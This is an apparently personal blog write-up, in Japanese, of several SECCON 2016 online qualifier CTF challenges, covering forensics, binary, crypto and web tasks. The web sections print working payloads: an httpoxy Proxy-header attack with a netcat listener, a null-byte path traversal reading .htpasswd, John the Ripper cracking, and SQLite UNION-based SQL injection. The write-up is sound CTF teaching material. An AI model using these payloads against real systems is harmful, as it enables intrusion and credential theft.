SECCON 2016 オンライン予選 write up

[SECCON 2016 オンライン予選](http://2016.seccon.jp/)に某チームで参加した。そこそこの順位。去年までとはうってかわって、ガチなExploit問題が多めだった。

私が解いた（or 途中まで解いた）問題の解法。

# VoIP (Forensics, 100点)

pcapからVoIPの音声を取り出す問題。どうするのかと思ったけど、Wiresharkで開いて、Telephony→VoIP Callsで再生までできる。

「`SECCON{9001IBR}` かな？　`SECCON{9001IBA}`かな？　どっちも通らないな……」と悩んで放置していたら、チームメイトが`SECCON{9001IVR}`で通していた。英語力……。

`SECCON{9001IVR}`

# Anti-Debugging (Binary, 100点)

Windowsバイナリ。パスワードが`I have a pen.`かどうかを調べて、デバッガのチェックをして、フラグを表示している。パスワードが分かったらデバッガで動かす必要は無いのではと思ったけど、`if (0==1) {`のようになっている。難読化されているわけでもないので、何とでもなる。

`SECCON{check_Ascii85}`

# pppppoxy (Web, 200点)

Windowsのバイナリを動かすとウェブサーバーが立ち上がってブラウザが開き、ログイン画面が表示される。タイトルからして、httpoxy。

```
curl -H "Proxy: http://127.0.0.1:8080" http://127.0.0.1/ --data "user=admin&pass=test"
```

で、8080ポートで待ち受けていると、

```
GET http://127.0.0.1/Authenticator?user=admin HTTP/1.0
Host: 127.0.0.1
User-Agent: poxyclient/0.1
```

というアクセスが飛んでくる。これに対して何を返せば良いのか悩んだが、`http://127.0.0.1/Authenticator?user=admin`にアクセスしてみれば良かった。

```
{"hash":"C432A8174394A3F655B2BD29BB075E4C"}
```

パスワードのMD5ハッシュだろうと当たりをつけて、`test`のMD5ハッシュに差し替えたら通った。

```
HTTP/1.0 200 OK
Content-Type: text/plain
Content-Length: 43

{"hash":"098F6BCD4621D373CADE4E832627B4F6"}
```

こんなファイルを用意して、`cat response.txt | nc -l 8080`。

`SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}`

# Backpacker's Capricious Cipher (Crypt, 200点)

公開鍵暗号。面白かった。

不慣れなrubyをがんばって読んでみると、次のような処理だと分かる。

N=128。P=79228162514264337593543950319を法としての剰余環。

keyは、P未満の整数の長さNの配列、
priv_keyは、0か1の長さNの配列、
sumは、keyのうちpriv_keyが1に対応するものを足し合わせた数。
(sum, key) が公開鍵で、priv_keyが秘密鍵。

暗号化の結果として出力するのは、（N未満の数と（P未満の数の配列）の組）の配列。 `[[72589823399196468125690117754,[]],[67685415881951442851282304799,[0]],[7058749587311540565065270139,[0,0]],[55338377772054747597823708804,[0,1]],[6706183...`みたいな感じ。P未満の数の配列の長さは実は高々2個で、`[i,j]`について、i≦j。

処理を追うと、P未満の数の配列に対応する値は次のようになる。

| | |
|----|----|
|[]|message - sum*(a[0]+a[1]+…+a[N])|
|[0]|key[0]\*(a[0]+a[1]+…a[N]) - c[0] - sum*b[0]|
|[1]|key[1]\*(a[0]+a[1]+…a[N]) - c[1] - sum*b[1]|
|：|：|
|[N]|key[N]\*(a[0]+a[1]+…a[N]) - c[N] - sum*b[N]|
|[0,0]|key[0]*b[0] + c[0]|
|[1,1]|key[1]*b[1] + c[1]|
|：|：|
|[N,N]|key[N]\*b[N] + c[N]|
|[0,1]|key[1]\*b[0] + key[0]*b[1]|
|[x,y]|key[y]\*b[x] + key[x]*b[y]|

a, b, cは乱数。

復号は、`[x,y]`について、`priv_key[x]*priv_key[y]`が1となるものだけを足し合わせる。なるほど、たしかに上の表と睨めっこしてみると、上手いこと打ち消し合ってa, b, cが消えるし、keyの中から合計がsumに等しくなる組み合わせを選ぶのは、ナップサック問題みたいでとても難しそう。

一見どうしようもなさそうだが、よくよく考えてみると、「keyの中から値をいくつかえらんで合計するとsumになる」という条件は全く必要無い。

aはa[0]+a[1]+…a[N]の形でしか出てこないので、=Aと置いて、1個の変数にできる。また、`[x]`と`[x,x]`を足し合わせるとcが消える。

| | |
|----|----|
|[]|message - sum*A|
|[0]+[0,0]|key[0]\*A - sum\*b[0] + key[0]*b[0]|
|[1]+[1,1]|key[1]\*A - sum\*b[1] + key[1]*b[1]|
|：|：|
|[N]+[N,N]|key[N]\*A - sum\*b[N] + key[N]*b[N]|
|[0,1]|key[1]\*b[0] + key[0]*b[1]|
|[x,y]|key[y]\*b[x] + key[x]*b[y]|

ここで、`[0]+[0,0]`と`[1]+[1,1]`、`[0,1]`に注目してみると、式が3個で、値の分からない変数がb[0]とb[1]、Aの3個なので、単に連立方程式を解けばAの値が求められる。あとは、`[]+sum*A`を計算すれば良い。

```py
N = 128
P = 79228162514264337593543950319

sum, key = eval(open("pub_key.txt").read())

enc = {}
for e in eval(open("enc.txt").read()):
  enc[tuple(e[1])] = e[0]

def inv(n):
  return pow(n, P-2, P)

A = enc[0,] + enc[0,0]
B = enc[1,] + enc[1,1]
C = enc[0,1]

A = (A*(key[1]-sum)*key[1] + B*(key[0]-sum)*key[0] - C*(key[0]-sum)*(key[1]-sum)) * inv(key[0]*(key[1]-sum)*key[1] + key[1]*(key[0]-sum)*key[0])
message = enc[()] + sum*A

print hex(message%P)[2:-1].decode("hex")
```

`SECCON{kpsk}`

# uncomfortable web (Web, 300点)

終了5分前に解けた。「アップロードしたスクリプトを実行してあげるから、外部には公開されていない`http://127.0.0.1:81/`を攻撃しろ」という問題。攻撃するサーバーは内部ネットワークの別サーバーではなく、スクリプトが動いているのと同じサーバーなので、何かそれを使うことがあるのかと思ったけど、権限がかなり制限されているので何もできない。冷静に考えてみると、この方式の理由が分からないな……。`curl`を`for`で回したくらいか。Pythonやperlも使えるようだけど、シェルスクリプトでcurlを使った。

`curl http://127.0.0.1:81/`で、`/authed/`と`/select.cgi`があることが分かる。

`http://127.0.0.1:81/select.cgi`の中身は、

```html
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>
```

`http://127.0.0.1:81/select.cgi?txt=a`で、

```html
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/a.txt<br>
<br>
                       /$$     /$$                       /$$       /$$            /$$                /$$    <br>
                      | $$    | $$                      | $$      /$$/           | $$               | $$    <br>
  /$$$$$$  /$$   /$$ /$$$$$$  | $$$$$$$   /$$$$$$   /$$$$$$$     /$$//$$$$$$    /$$$$$$  /$$   /$$ /$$$$$$  <br>
 |____  $$| $$  | $$|_  $$_/  | $$__  $$ /$$__  $$ /$$__  $$    /$$/|____  $$  |_  $$_/ |  $$ /$$/|_  $$_/  <br>
  /$$$$$$$| $$  | $$  | $$    | $$  \ $$| $$$$$$$$| $$  | $$   /$$/  /$$$$$$$    | $$    \  $$$$/   | $$    <br>
 /$$__  $$| $$  | $$  | $$ /$$| $$  | $$| $$_____/| $$  | $$  /$$/  /$$__  $$    | $$ /$$ &gt;$$  $$   | $$ /$$<br>
|  $$$$$$$|  $$$$$$/  |  $$$$/| $$  | $$|  $$$$$$$|  $$$$$$$ /$$/  |  $$$$$$$ /$$|  $$$$//$$/\  $$  |  $$$$/<br>
 \_______/ \______/    \___/  |__/  |__/ \_______/ \_______/|__/    \_______/|__/ \___/ |__/  \__/   \___/  <br>
<br>
<br>
</body></html>
```

`authed/${name}.txt`が表示されているらしい。`authed/`は認証が要求される。`.htaccess`があるだろうから見てみる。ちなみに、読み取り権限が無いのか何なのか、.cgiは読めない。

`http://127.0.0.1:81/select.cgi?txt=.htaccess%00`

```
AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo
```

`http://127.0.0.1:81/select.cgi?txt=../../../../../../../var/www/html-inner/authed/.htpasswd%00`

```
keigo:LdnoMJCeVy.SE
```

この`html-inner`ディレクトリは、81番ポート用のディレクトリらしく、`txt=.htpasswd%00`でも良い。

`.htpasswd`をJohn the ripperに掛けると、すぐにパスワードが出てくる。`test`。

```shell-session
kusano@ubuntu:~/ctf/seccon2016q$ cat .htpasswd
keigo:LdnoMJCeVy.SE

kusano@ubuntu:~/ctf/seccon2016q$ john .htpasswd
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
test             (keigo)
1g 0:00:00:00 100% 2/3 25.00g/s 23050p/s 23050c/s 23050C/s orange..horses
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kusano@ubuntu:~/ctf/seccon2016q$ john --show .htpasswd
keigo:test

1 password hash cracked, 0 left
```

`curl --user keigo:test 'http://127.0.0.1:81/authed/'`

で、`authed/`に

- a.txt
- b.txt
- c.txt
- sqlinj/

が存在することが分かる。

`authed/sqlinj/`の中身は`1.cgi`、`2.cgi`、…、`100.cgi`。それぞれのcgiは、

```html
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>
```

で、`?no=4822267938`を付けると、

```
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body><html>
```

となる。

各CGIは、ファイルサイズも更新時刻も全く同じだけど、「まあ、どれか1つにSQLインジェクションが可能なのかな？」と考え、

```bash
for i in $(seq 1 100)
do
  echo ${i}
  curl --user keigo:test http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27--
done
```

とすると、

```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
159   159    0   159    0     0   4216      0 --:--:-- --:--:-- --:--:--  4297
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>72
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
116   233    0   233    0     0   6194      0 --:--:-- --:--:-- --:--:--  6297
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>73
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
159   159    0   159    0     0   3640      0 --:--:-- --:--:-- --:--:--  3785
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>
```

となった。脆弱なのは、`72.cgi`。

あとは、

```bash
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,group_concat(sql)+FROM+sqlite_master--'
```

```
ISBN-10: 0
ISBN-13: 0
PUBLISH: CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)
```

```bash
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,f1ag+FROM+f1ags--'
```

```
ISBN-10: 0
ISBN-13: 0
PUBLISH: SECCON{I want to eventually make a CGC web edition... someday...}
```

`{I want to eventually make a CGC web edition... someday...}`

# randomware (Forensics, 300点)

PCが壊れたから直してくれと。.qcow2のディスクイメージが問題。

.qcow2のままだと扱いづらいので、rawイメージに直す。

```
qemu-img.exe convert -O raw disk.qcow2 disk.img
```

アンチウイルスソフトが激おこ。FTK Imagerで開く。`/tce/mydata.tar`というファイルがある。中を見ると、`/home/tc/h1dd3n_s3cr3t_f14g.jpg`というファイルや、`/home/tc/getflag`というファイルがある。

`getflag`は`h1dd3n_s3cr3t_f14g.jpg`をダウンロードして、他のファイルとともに暗号化するプログラム。`/dev/urandom`から1KB読んで鍵とし、xorを取る。鍵は全ファイルで固定。他に暗号化されているファイルを探すと、`/home/tc/.mozilla/firefox/wir5mrmb.default/revocations.txt`があった。`revocations.txt`でググって出てきたファイルとは先頭部分が一致しているらしく、これを使って半分くらい`h1dd3n_s3cr3t_f14g.jpg`が復号できた。まだ足りない。`/home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xml`も暗号化されていて、復号してみると、このファイルは先頭に更新時刻が入っている。更新時刻を頼りにググって、↓のファイルを見つけた。

https://hg.mozilla.org/releases/mozilla-esr45/file/2ee61020e89c/browser/app/blocklist.xml

これで、`h1dd3n_s3cr3t_f14g.jpg`の全体が復号できた。夜中に飯テロ画像が出てきてつらかった(◞‸◟)

`SECCON{This is Virtual FAT too}`